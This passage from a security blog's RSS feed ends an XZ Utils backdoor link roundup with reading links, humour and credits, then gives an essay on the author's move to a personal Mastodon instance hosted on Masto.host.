  &lt;li&gt;&lt;a href=&quot;https://dwheeler.com/trusting-trust/&quot;&gt;David A. Wheeler’s Page on Fully Countering Trusting Trust through Diverse Double-Compiling (DDC) - Countering Trojan Horse attacks on Compilers&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://lists.landley.net/pipermail/toybox-landley.net/2020-July/011898.html&quot;&gt;Countering trusting trust | Rob Landley&lt;/a&gt; (&lt;em&gt;per &lt;a href=&quot;https://mstdn.jp/@landley/112186917000151313&quot;&gt;@landley@mstdn.jp&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cs.cmu.edu/~rdriley/487/papers/Thompson_1984_ReflectionsonTrustingTrust.pdf&quot;&gt;Reflections on Trusting Trust&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://linuxreviews.org/images/d/d9/OpenSourceInsecurity.pdf&quot;&gt;On the Feasibility of Stealthily Introducing Vulnerabilities in Open-Source Software via Hypocrite Commits&lt;/a&gt; (&lt;em&gt;&lt;a href=&quot;https://cyberplace.social/@GossiTheDog/112186424998201736&quot;&gt;thanks&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shkspr.mobi/blog/2021/02/whats-my-name-again/&quot;&gt;That’s not my name! Practical problems in real name policies&lt;/a&gt; (&lt;em&gt;per &lt;a href=&quot;https://mastodon.social/@Edent/112192486282376050&quot;&gt;@Edent@mastodon.social&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://discuss.coding.social/t/unionize-free-software-found-software-guilds/59&quot;&gt;Unionize Free Software. Found Software Guilds&lt;/a&gt; (&lt;em&gt;per &lt;a href=&quot;https://babka.social/@csdummi/112186861395096092&quot;&gt;https://babka.social/@csdummi&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.softwaremaxims.com/blog/not-a-supplier&quot;&gt;I am not a supplier&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mikemcquaid.com/open-source-maintainers-owe-you-nothing/&quot;&gt;Open Source Maintainers Owe You Nothing&lt;/a&gt; (&lt;em&gt;per &lt;a href=&quot;https://mastodon.social/@mikemcquaid/112211808720492947&quot;&gt;@mikemcquaid@mastodon.social&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lcamtuf.substack.com/p/oss-backdoors-the-allure-of-the-easy&quot;&gt;OSS backdoors: the folly of the easy fix&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://matrix.org/blog/2024/04/open-source-publicly-funded-service/&quot;&gt;Open Source Infrastructure must be a publicly funded service&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jenniferplusplus.com/the-free-software-commons/&quot;&gt;The free software commons&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://crankysec.com/blog/supply/&quot;&gt;It’s not a supply chain dummy!&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://openpath.chadwhitacre.com/2024/open-source-is-a-restaurant/&quot;&gt;Open Source is a Restaurant&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;humor&quot;&gt;Humor&lt;/h1&gt;
&lt;p&gt;Even in times like these, sometimes you gotta laugh.&lt;/p&gt;

&lt;p&gt;A lot of people riffed off of &lt;a href=&quot;https://xkcd.com/2347/&quot;&gt;xkcd 2347&lt;/a&gt; (&lt;a href=&quot;https://infosec.exchange/@Emily/112186620818867481&quot;&gt;1&lt;/a&gt;, &lt;a href=&quot;https://strangeobject.space/@esther/112180341545370848&quot;&gt;2&lt;/a&gt;, &lt;a href=&quot;https://infosec.exchange/@jcfarris/112184628739196653&quot;&gt;3&lt;/a&gt;, &lt;a href=&quot;https://infosec.exchange/@dmgedgoods/112189482358269802&quot;&gt;4&lt;/a&gt;)…&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/notes/xz_compromise/xz-xkcd2347.jpeg&quot; width=&quot;400px&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Others let us know they were ok… &lt;a href=&quot;https://infosec.exchange/@elhackernet/112190157669608126&quot;&gt;and another&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://hachyderm.io/@isaac/112181119452687292&quot;&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/notes/xz_compromise/markedsafefrom-xz.jpg&quot; width=&quot;300px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It’s crazy how &lt;a href=&quot;https://mastodon.social/@AndresFreundTec/112180406142695845&quot;&gt;Andres even detected it&lt;/a&gt;…&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://infosec.exchange/@bontchev/112185284355594201&quot;&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/notes/xz_compromise/xz-nerds.jpg&quot; width=&quot;500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A pastry chef to OSS analogy…&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://indieweb.social/@whalecoiner/112187118824467745&quot;&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/notes/xz_compromise/xz-pastrychef.jpg&quot; width=&quot;500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The CTF of the decade…&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://social.hackerspace.pl/@q3k/112186313662241899&quot;&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/notes/xz_compromise/Xz-ctf.jpg&quot; width=&quot;500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Some other comics…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://patchfriday.com/154/&quot;&gt;XZ Utils Backdoor | Patch Friday&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://patchfriday.com/155/&quot;&gt;OSS Fame &amp;amp; Riches | Patch Friday&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://patchfriday.com/156/&quot;&gt;XZ Utils Payload | Patch Friday&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://turnoff.us&quot;&gt;tar.gz | turnoff.us&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;branding&quot;&gt;Branding&lt;/h6&gt;
&lt;p&gt;Some attempts to name &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-3094&quot;&gt;CVE-2024-3094&lt;/a&gt;…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://floss.social/@jwf/112181835287436354&quot;&gt;xzorcist&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.exchange/@simonzerafa/112184297877943027&quot;&gt;Ass Bleed&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.exchange/@jerry/112186358437996941&quot;&gt;xzshell&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.exchange/@joshbressers/112186317441129738&quot;&gt;xz4shell&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;credit&quot;&gt;Credit&lt;/h1&gt;
&lt;p&gt;Thanks to all these folks for their contributions.&lt;/p&gt;

&lt;p&gt;@megmac@treehouse.systems @zeno@piaille.fr @rugk@chaos.social @harrysintonen@infosec.exchange @landley@mstdn.jp @techsaviours@fosstodon.org @rene_mobile@infosec.exchange @himazawa@infosec.exchange @GossiTheDog@cyberplace.social @js@nil.im @gynvael@infosec.exchange @cmdr_nova@mkultra.monster @kpwn@infosec.exchange @SteveBellovin@mastodon.lawprofs.org @vegard@mastodon.social @yossarian@infosec.exchange @Jerry@infosec.exchange @danderson@hachyderm.io @AndresFreundTec@mastodon.social @swelljoe@mas.to @filippo@abyssdomain.expert @lcamtuf@infosec.exchange @eb@social.coop @claudiom@social.sdf.org @Malwar3Ninja@infosec.exchange @simontsui@infosec.exchange @wdormann@infosec.exchange @ravirockks@infosec.exchange @nopatience@swecyb.com @fr0gger@infosec.exchange @ollie_whitehouse@infosec.exchange @briankrebs@infosec.exchange @thomrstrom@triangletoot.party @solene@bsd.network @amlw@infosec.exchange @rsc@hachyderm.io @luis_in_brief@social.coop&lt;/p&gt;

&lt;p&gt;and a big THANKS to &lt;a href=&quot;https://mastodon.social/@AndresFreundTec&quot;&gt;Andres Freund&lt;/a&gt; for his &lt;a href=&quot;https://infosec.exchange/@wdormann/112184824746377542&quot;&gt;heroic efforts&lt;/a&gt;!
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;center&gt;
&lt;a href=&quot;https://mastodon.social/@bagder/112185716463978460&quot;&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/notes/xz_compromise/xz-staystrong.jpg&quot; width=&quot;500px&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.openwall.com/lists/oss-security/2024/03/30/25&quot;&gt;&lt;div class=&quot;containbox&quot;&gt;Send Love to Lasse&lt;br /&gt;&lt;i class=&quot;ph-fill ph-heart lg&quot; style=&quot;color:red;&quot;&gt;&lt;/i&gt;&lt;/div&gt;&lt;/a&gt;
&lt;/center&gt;
</description>
        <pubDate>Sun, 31 Mar 2024 00:21:00 -0400</pubDate>
        <link>https://shellsharks.com/xz-compromise-link-roundup</link>
        <guid isPermaLink="true">https://shellsharks.com/xz-compromise-link-roundup</guid>
        
        <category>infosec</category>
        
        <category>supplychain</category>
        
        
        <category>infosec</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Owning My Own Social</title>
        <shark:summary><p>As of March 24, 2024, I *<em>socially</em>* operate out of a single-user<sup><a href="#singleuser">1</a></sup> / personal Mastodon instance — <strong><a href="https://shellsharks.social/">shellsharks.social</a></strong>. <em>But how did I get here?</em></p>
</shark:summary>
        <description>&lt;p&gt;As of March 24, 2024, I *&lt;em&gt;socially&lt;/em&gt;* operate out of a single-user&lt;sup&gt;&lt;a href=&quot;#singleuser&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; / personal Mastodon instance — &lt;strong&gt;&lt;a href=&quot;https://shellsharks.social/&quot;&gt;shellsharks.social&lt;/a&gt;&lt;/strong&gt;. &lt;em&gt;But how did I get here?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Like many other people who find themselves at least &lt;em&gt;mildly&lt;/em&gt; online (or &lt;strong&gt;chronically&lt;/strong&gt; so, as I do), I am a frequent user of (&lt;a href=&quot;https://shellsharks.com/verify&quot;&gt;a variety of&lt;/a&gt;) social media platforms. When &lt;a href=&quot;https://www.theverge.com/c/23972308/twitter-x-death-tweets-history-elon-musk&quot;&gt;Twitter fell&lt;/a&gt;, the world of social micro-blogging fractured, with people fleeing across the Internet to a &lt;a href=&quot;https://www.theverge.com/23429095/twitter-social-network-alternatives-mastodon-reddit-tumblr-cohost&quot;&gt;number of platforms&lt;/a&gt;, both new and old. For my part, I took up residence on &lt;a href=&quot;https://joinmastodon.org&quot;&gt;Mastodon&lt;/a&gt;, specifically, a cybersecurity-themed instance — &lt;a href=&quot;https://infosec.exchange/&quot;&gt;infosec.exchange&lt;/a&gt;. (I also reanimated my long dormant &lt;a href=&quot;https://mastodon.social/@sass&quot;&gt;mastodon.social account&lt;/a&gt;.)&lt;/p&gt;

&lt;p&gt;Infosec.exchange was &lt;em&gt;perfect&lt;/em&gt; for what I was looking for at the time. I used Twitter mostly as a place to follow others in the infosec/tech industry and infosec.exchange was the choice landing spot for many other disaffected infosec-Twitter refugees. There I re-found my people but also became a more &lt;em&gt;active&lt;/em&gt; member of the community—sharing posts, interacting with others, etc…&lt;/p&gt;

&lt;p&gt;After nearly two years on &lt;a href=&quot;#thanks-to-infosecexchange&quot;&gt;infosec.exchange&lt;/a&gt; (and on Mastodon more generally), I acquired an appreciation for the possibilities the &lt;a href=&quot;https://www.fediverse.to&quot;&gt;Fediverse&lt;/a&gt; afforded and in that time also first discovered the &lt;a href=&quot;https://indieweb.org&quot;&gt;IndieWeb&lt;/a&gt;. Moving to &lt;strong&gt;shellsharks.social&lt;/strong&gt; is a direct result of the confluence of these newfound interests — the &lt;em&gt;&lt;a href=&quot;https://shellsharks.com/fediverse&quot;&gt;Fediverse&lt;/a&gt;&lt;/em&gt; &amp;amp; the &lt;em&gt;&lt;a href=&quot;https://shellsharks.com/indieweb&quot;&gt;IndieWeb&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;span id=&quot;singleuser&quot;&gt;&lt;/span&gt;
[&lt;strong&gt;1&lt;/strong&gt;] &lt;em&gt;shellsharks.social is not exactly single-account, but it is “single-user” (just me)&lt;/em&gt;&lt;/p&gt;

&lt;h1 id=&quot;indiesocial&quot;&gt;IndieSocial&lt;/h1&gt;

&lt;p&gt;What if we were to combine the social aspects of the &lt;a href=&quot;https://shellsharks.com/fediverse&quot;&gt;Fediverse&lt;/a&gt; with the autonomy and personality of the &lt;a href=&quot;https://shellsharks.com/indieweb&quot;&gt;IndieWeb&lt;/a&gt;?&lt;/p&gt;

&lt;p&gt;My foray into the &lt;a href=&quot;https://shellsharks.com/indieweb&quot;&gt;IndieWeb&lt;/a&gt; has been a great success. I’ve leaned into its ideals as much as is technologically (and philosophically) feasible for my statically-generated site. But where it excels at hosting my content and being a centralized, permanent place for my &lt;a href=&quot;https://shellsharks.com/notes/2023/08/16/your-website-your-identity&quot;&gt;identity&lt;/a&gt;&lt;strong&gt;*&lt;/strong&gt; &amp;amp; content on the web, it falls short in its ability to truly &lt;em&gt;connect&lt;/em&gt; me with others in the way a traditional social media platform can. My latest stint on &lt;a href=&quot;https://joinmastodon.org&quot;&gt;Mastodon&lt;/a&gt; / &lt;a href=&quot;https://infosec.exchange/&quot;&gt;infosec.exchange&lt;/a&gt; succeeded in connecting me with others who value what I have to share on my site, but my identity being tied to a handle on infosec.exchange was limiting in that I ultimately did not own my posts, nor my branding, and though I &lt;em&gt;do&lt;/em&gt; mostly post about &lt;a href=&quot;https://shellsharks.com/tags?tag=infosec&quot;&gt;infosec&lt;/a&gt; stuff, it had a quasi-pigeon-holing effect due to the instance moniker itself (&lt;strong&gt;infosec&lt;/strong&gt;.exchange). I would often see people on Mastodon responding from &lt;a href=&quot;https://shellsharks.com/notes/2024/03/29/the-whimsical-corners-of-the-fediverse&quot;&gt;unique, single-user instances&lt;/a&gt; that served as a badge of authenticity and I coveted that. And though no one on the Fediverse could ask for a more thoughtful and capable server owner than those on &lt;a href=&quot;#thanks-to-infosecexchange&quot;&gt;infosec.exchange&lt;/a&gt;, I always wondered would would/could happen if/when &lt;a href=&quot;https://infosec.exchange/@jerry&quot;&gt;Jerry&lt;/a&gt; decided to hang it up. More and more I started to think that I needed to replicate what I had done with my website, but with my social platform — I needed to &lt;strong&gt;own my own social&lt;/strong&gt;. Only then could I begin to post uninhibited by expectation, allowing myself to be uniquely me. But there’s &lt;a href=&quot;#benefits-of-a-personal-fediverse-instance&quot;&gt;more&lt;/a&gt; than simple vanity on the line when it comes to a personal Fedi instance!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;*&lt;/strong&gt; Two big inspirations for me with regard to the IndieWeb and a web-based identity are &lt;a href=&quot;https://joanwestenberg.com/blog/the-creator-economy-trap-why-building-on-someone-elses-platform-is-a-dead-end&quot;&gt;Joan Westenberg&lt;/a&gt; and &lt;a href=&quot;https://coryd.dev/posts/2024/your-site-your-home-your-web/&quot;&gt;Cory Dransfeldt&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;benefits-of-a-personal-fediverse-instance&quot;&gt;Benefits of a Personal Fediverse Instance&lt;/h1&gt;
&lt;p&gt;Beyond the intrinsic &lt;a href=&quot;https://shellsharks.com/notes/2023/11/16/hark-threaders-the-fediverse-is-good-for-you#why-mastodon-is-good&quot;&gt;benefits of Mastodon&lt;/a&gt; (and the Fediverse at large), there are &lt;u&gt;a lot&lt;/u&gt; of benefits to running &lt;em&gt;your own&lt;/em&gt; &lt;a href=&quot;https://shellsharks.com/fediverse&quot;&gt;Fediverse&lt;/a&gt; instance.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;A more perpetual, &lt;strong&gt;authentic&lt;/strong&gt; (social) &lt;strong&gt;identity&lt;/strong&gt; on the web.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vanity&lt;/strong&gt; Fediverse handle (e.g. “&lt;em&gt;@shellsharks@shellsharks.social&lt;/em&gt;”) &lt;i class=&quot;ph ph-fediverse-logo&quot;&gt;&lt;/i&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Branding&lt;/strong&gt;: For individual creators and business, having a social identity hosted on a domain which has personalized branding can be very important.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Deplatforming resistance&lt;/strong&gt;: Since you are the instance admin, you can not be deplatformed. Only your ISP or hosting provider could effectively do this and this is quite rare.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Mitigate localized censorship&lt;/strong&gt;: On a community instance, admins and moderators can censor your posts.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Data ownership&lt;/strong&gt;: As an admin, you have control over data exports and lifecycle.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Customization&lt;/strong&gt;: Instance admins can customize the CSS of their site, relays, emojis, trending, etc…&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Spontaneous server death&lt;/strong&gt;: Instances have died in the past due to database corruption, &lt;a href=&quot;https://www.theverge.com/2024/2/12/24071036/queer-af-mastodon-taliban-shut-down-afghanistan&quot;&gt;domain seizure&lt;/a&gt;, admin burnout, lack of funding and more. Avoid this by running your own instance.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Defederation control&lt;/strong&gt;: Though users on a community instance have a lot of power in self-moderation, some controls for isolation and defederation are only available at the administrative level.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;hosting-challenges-choices--chronology&quot;&gt;Hosting: Challenges, Choices &amp;amp; Chronology&lt;/h1&gt;

&lt;p&gt;OK, so I knew I wanted to “&lt;em&gt;own my own social&lt;/em&gt;”, and for me, this meant having my own &lt;a href=&quot;https://shellsharks.com/fediverse&quot;&gt;Fediverse&lt;/a&gt; server of some flavor (e.g. &lt;a href=&quot;https://joinmastodon.org&quot;&gt;Mastodon&lt;/a&gt;, &lt;a href=&quot;https://akkoma.social&quot;&gt;Akkoma&lt;/a&gt;, &lt;a href=&quot;https://iceshrimp.dev/iceshrimp/iceshrimp&quot;&gt;IceShrimp&lt;/a&gt;, &lt;a href=&quot;https://gotosocial.org&quot;&gt;GoToSocial&lt;/a&gt;, etc…). Because of my affinity for the iOS client &lt;a href=&quot;https://tapbots.com/ivory/&quot;&gt;Ivory&lt;/a&gt;, I decided Mastodon would be the best fit (Ivory only works with Mastodon at this time). From my research I knew Mastodon to be on the trickier &amp;amp; more resource-hungry side of the Fediverse platform spectrum. In terms of hosting, I first had to decide between &lt;em&gt;managed&lt;/em&gt; or &lt;em&gt;self-hosted&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://masto.host/&quot;&gt;Masto.host&lt;/a&gt; was one managed &lt;a href=&quot;https://shellsharks.com/notes/2023/08/01/fediverse-managed-hosting-providers&quot;&gt;Mastodon-hosting platform&lt;/a&gt; that I heard a lot about and seemed quite reliable so I decided to put a small alt account (&lt;a href=&quot;https://shellsharks.social/@afterdark&quot;&gt;@afterdark&lt;/a&gt;) there on an instance “&lt;a href=&quot;https://shellsharks.social/&quot;&gt;shellsharks.social&lt;/a&gt;” to test it out. The base tier (“Moon”) was &lt;em&gt;very&lt;/em&gt; slow and even with only a single-user with &amp;lt;30 followers and only &lt;em&gt;1&lt;/em&gt; follow it was achingly ill-performant. I wasn’t terribly impressed but knew by sizing up a tier or two it would likely be better.&lt;/p&gt;

&lt;p&gt;The ideal situation of course would be to gloriously self-host and administer the entire stack. I learned a few things from having put together some &lt;a href=&quot;https://shellsharks.com/mastodon#hosting-a-mastodon-instance&quot;&gt;resources&lt;/a&gt; on Mastodon instance administration and following along over the last year or so as other instance admins grew their communities. I had some understanding of the &lt;a href=&quot;https://softwaremill.com/the-architecture-of-mastodon/&quot;&gt;architecture&lt;/a&gt; of Mastodon, I knew some pitfalls of &lt;a href=&quot;https://github.com/w3c/activitypub&quot;&gt;ActivityPub&lt;/a&gt;-based federation and I knew Hetzner was a popular hosting provider to get a cheap, reliable VPS. So with all that, I just went for it.&lt;/p&gt;

&lt;p&gt;I created my &lt;a href=&quot;https://www.hetzner.com&quot;&gt;Hetzner&lt;/a&gt; account, initialized a decently spec’ed VPS, I got my SMTP relay configured through Sendgrid, set up a Backblaze R2 bucket for block storage, fronted through Cloudflare and then hammered through the &lt;a href=&quot;https://docs.joinmastodon.org/admin/install/&quot;&gt;official Mastodon installation steps&lt;/a&gt; (paired with some other installation guides I came across). I knew it wasn’t a &lt;em&gt;simple&lt;/em&gt; install, but it seemed straight-forward enough. I ran through the installation wizard but despite my confidence, things started to awry. Somewhere between the server-side install config and the SMTP-relay config something wasn’t working. I wasn’t receiving my confirmation email to log into the Mastodon admin account I created. I bypassed this little issue by manually activating the account on the back-end using &lt;a href=&quot;https://docs.joinmastodon.org/admin/tootctl/&quot;&gt;tootctl&lt;/a&gt;. So now I’m in my sparkly new instance! But wait, nothing appears to be federating and I am unable to search for or find any other accounts! I searched around for a bit on Google for any clues as to what might be happening but after an hour or so decided to shut it all down and try a different path. Interestingly, after I started deactivating some accounts and tearing down the VPS infrastructure I noticed the emails finally making it through the SMTP relay! I also have a theory that federation/search was borked because I had not properly set up the object storage connection. 🤷‍♂️&lt;/p&gt;

&lt;p&gt;So where did I turn? For now, I needed something at least &lt;em&gt;slightly&lt;/em&gt; more turnkey. DigitalOcean had advertised a “one-click” &lt;a href=&quot;https://www.digitalocean.com/community/tutorials/how-to-install-mastodon-with-digitalocean-marketplace-1-click&quot;&gt;droplet for Mastodon&lt;/a&gt; hosting solution that seemed appealing and for a moment I considered going that route. But, it still required a fair bit of set-up including hooking up a SMTP relay, object storage, etc… Oh and it was 4-5x the cost (at least) of going back and figuring out how to do it with Hetzner. It was moments after I created the DigitalOcean account and started thinking more about it when I decided to just scale up my existing shellsharks.social instance on Masto.host and evaluate whether it could handle an account with activity on the order of what I typically see with my main &lt;a href=&quot;https://infosec.exchange/@shellsharks&quot;&gt;shellsharks&lt;/a&gt; account on infosec.exchange.&lt;/p&gt;

&lt;h2 id=&quot;mastohost-trial-period-issues--observations&quot;&gt;Masto.Host Trial Period: Issues &amp;amp; Observations&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://masto.host/&quot;&gt;Masto.host&lt;/a&gt; is incredibly easy to get started with, scale up/down or stop using entirely. As such it was a simple decision (in the end) to trial my main account with it. After sizing up my existing &lt;a href=&quot;https://shellsharks.social/@shellsharks&quot;&gt;shellsharks.social&lt;/a&gt; instance from the Moon to Star tier it didn’t take long for me to see that it would be plenty beefy for an account of my size. Since the pricing is plenty all-inclusive (you don’t need to futz around with object storage, SMTP relays, CDNs, etc…), with all underlying server management handled entirely by Masto.host, I was pretty sold on the idea of moving there. Though the instance itself seemed more than performant, I did encounter a number of other &lt;em&gt;things&lt;/em&gt; worth mentioning…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;A few notes on Masto.host itself…
    &lt;ul&gt;
      &lt;li&gt;It is scary easy to get signed up and started with an instance with your choice domain…&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://masto.host/pricing/&quot;&gt;Pricing&lt;/a&gt;, imo, is &lt;em&gt;very&lt;/em&gt; fair. Once you add up all the various costs of self-hosting you really don’t save much from a price perspective by going elsewhere. For what you save in time, I think it’s very worth it.&lt;/li&gt;
      &lt;li&gt;Support is lightning quick and very helpful.&lt;/li&gt;
      &lt;li&gt;Managing your instance via the Masto.host admin panel is extremely simple. Really not that much to tweak.&lt;/li&gt;
      &lt;li&gt;Media storage allottment gets gobbled up pretty quick. I’m at 70% after only a few days. Will have to report back to see how I can manage this into the future…&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/mastodon/mastodon/blob/main/FEDERATION.md&quot;&gt;Federation&lt;/a&gt; is a tricky beast and I definitely could not explain how it works. What I &lt;em&gt;can&lt;/em&gt; say is that on any Mastodon account, your view of the world/Fediverse is not necessarily 100% complete. On larger instances you will likely see more comments and have access to more accounts than you will on a smaller, “less federated” instance. As such, when viewing user accounts from my personal instance I have only limited information that gets pulled in. I see avatars, follow/follower counts and lists and &lt;em&gt;some&lt;/em&gt; posts but likely do not see all of them.
    &lt;ul&gt;
      &lt;li&gt;To address this shortfall, I can typically go to their account directly on their server via my client’s in-app browser, scroll through their posts and if there’s one I want to engage with, copy the link to the post and search for it directly within my Mastodon client. This 99% of the time will allow me to view the post directly and engage.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;I occassionally will have a performance hiccup, i.e. something loading slow, but after few days using my account pretty heavily I’d say it’s fine 99.9% of the time. As an example, notifications (likes, replies, boosts) all come in super fast!&lt;/li&gt;
  &lt;li&gt;One thing I really enjoyed being on infosec.exchange was the Local feed. It was a great place to farm interesting accounts, find one-off posts to engage with, etc… Luckily, Mastodon still allows me to peruse local feeds and as such it is easy enough for me to continue scrolling it and just respond via my new account instead. Ivory doesn’t yet allow me to browse remote local feeds but what I can do is peruse the infosec.exchange local feed on my old infosec.exchange account and just reply from my shellsharks.social account via the account-picker.&lt;/li&gt;
  &lt;li&gt;Search, which honestly is of varying usefulness even on the largest of servers (i.e. infosec.exchange / mastodon.social), is effectively useless on my personal instance unless I have a direct link to exactly what I am looking for. This &lt;em&gt;has&lt;/em&gt; improved over the last few days a bit, but I still wouldn’t rely on basic search on my personal instance to find anything useful.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;a-look-at-shellsharkssocial--the-future&quot;&gt;A Look at shellsharks.social &amp;amp; the Future&lt;/h1&gt;

&lt;p&gt;So yeah, I’m &lt;strong&gt;&lt;a href=&quot;https://shellsharks.social/@shellsharks&quot;&gt;@shellsharks@shellsharks.social&lt;/a&gt;&lt;/strong&gt; now. &lt;em&gt;Yay&lt;/em&gt;!&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://docs.joinmastodon.org/user/moving/&quot;&gt;migration&lt;/a&gt; process from infosec.exchange was &lt;em&gt;pretty good&lt;/em&gt;, definitely a bit scary but it was mostly a success. I had a little under 1600 followers to migrate and only had 20-30 of those &lt;em&gt;not&lt;/em&gt; get moved over after it was all said and done. This seems to be an issue with hitting a rate-limiting wall either with my server or infosec.exchange’s. Fortunately, I can re-initiate the move in 30 days and migrate over the straggling followers. I had some questions about how account moves worked but &lt;a href=&quot;https://fedi.tips/transferring-your-mastodon-account-to-another-server/&quot;&gt;this post&lt;/a&gt; sums things up pretty well.&lt;/p&gt;

&lt;p&gt;I had considered using my “shellsharks.com” domain as my Mastodon instance but after some thinking, decided that shellsharks.social would be best. First, it &lt;em&gt;is&lt;/em&gt; a social account, so having the &lt;em&gt;social&lt;/em&gt; TLD makes perfect sense. Second, I was concerned about traffic that might be generated due to noisy ActivityPub federation calls which would be directed at shellsharks.com which is sitting on Github Pages and perhaps not ready for that level of traffic.&lt;/p&gt;

&lt;p&gt;The biggest downside of having made this move, and using Masto.host, is no longer having the &lt;a href=&quot;https://glitch-soc.github.io/docs/&quot;&gt;Glitch-soc&lt;/a&gt; capability which allowed me to have posts that exceed &lt;a href=&quot;https://woem.space/notice/ASoLrsF5ykRpLbG4Uy&quot;&gt;500 chars in length&lt;/a&gt;. This said, I’ve &lt;em&gt;sorta&lt;/em&gt; decided that if I &lt;em&gt;can’t&lt;/em&gt; get my point across in 500 characters, it might be worth making a &lt;a href=&quot;https://shellsharks.com/notebook&quot;&gt;note&lt;/a&gt; or blog post on my site and then sharing a link to that instead. This is part of the spirit of the &lt;a href=&quot;https://shellsharks.com/indieweb&quot;&gt;IndieWeb&lt;/a&gt; after all!&lt;/p&gt;

&lt;p&gt;In the future, I’d like to retry self-hosting. &lt;a href=&quot;https://blog.benjojo.co.uk/post/who-hosts-the-fediverse-instances&quot;&gt;So much of the Fediverse&lt;/a&gt; is hosted by Hetzner so I would probably choose that as my VPS provider. I’d like to go with a Docker-based install, for easier management and technological gratification. In fact, there is a lot of things I’d like to self-host in the future (e.g. RSS, bookmarks, blog, etc…). I may even have some ideas for a community-style server, but that’s a ways away.&lt;/p&gt;

&lt;p&gt;The world of social media has in some ways gotten so much larger while at the same time somewhat more disconnected as people have spread out across the various platforms of this era. But things have been set in motion to bridge these divides and bring people together once more. In a possible future where those of us in the traditional Fediverse can interact with those on Threads, or on BlueSky, or on Nostr, or &lt;em&gt;wherever&lt;/em&gt;, I really liked the idea of establishing my unique, forever-social-identity within the Fediverse.&lt;/p&gt;

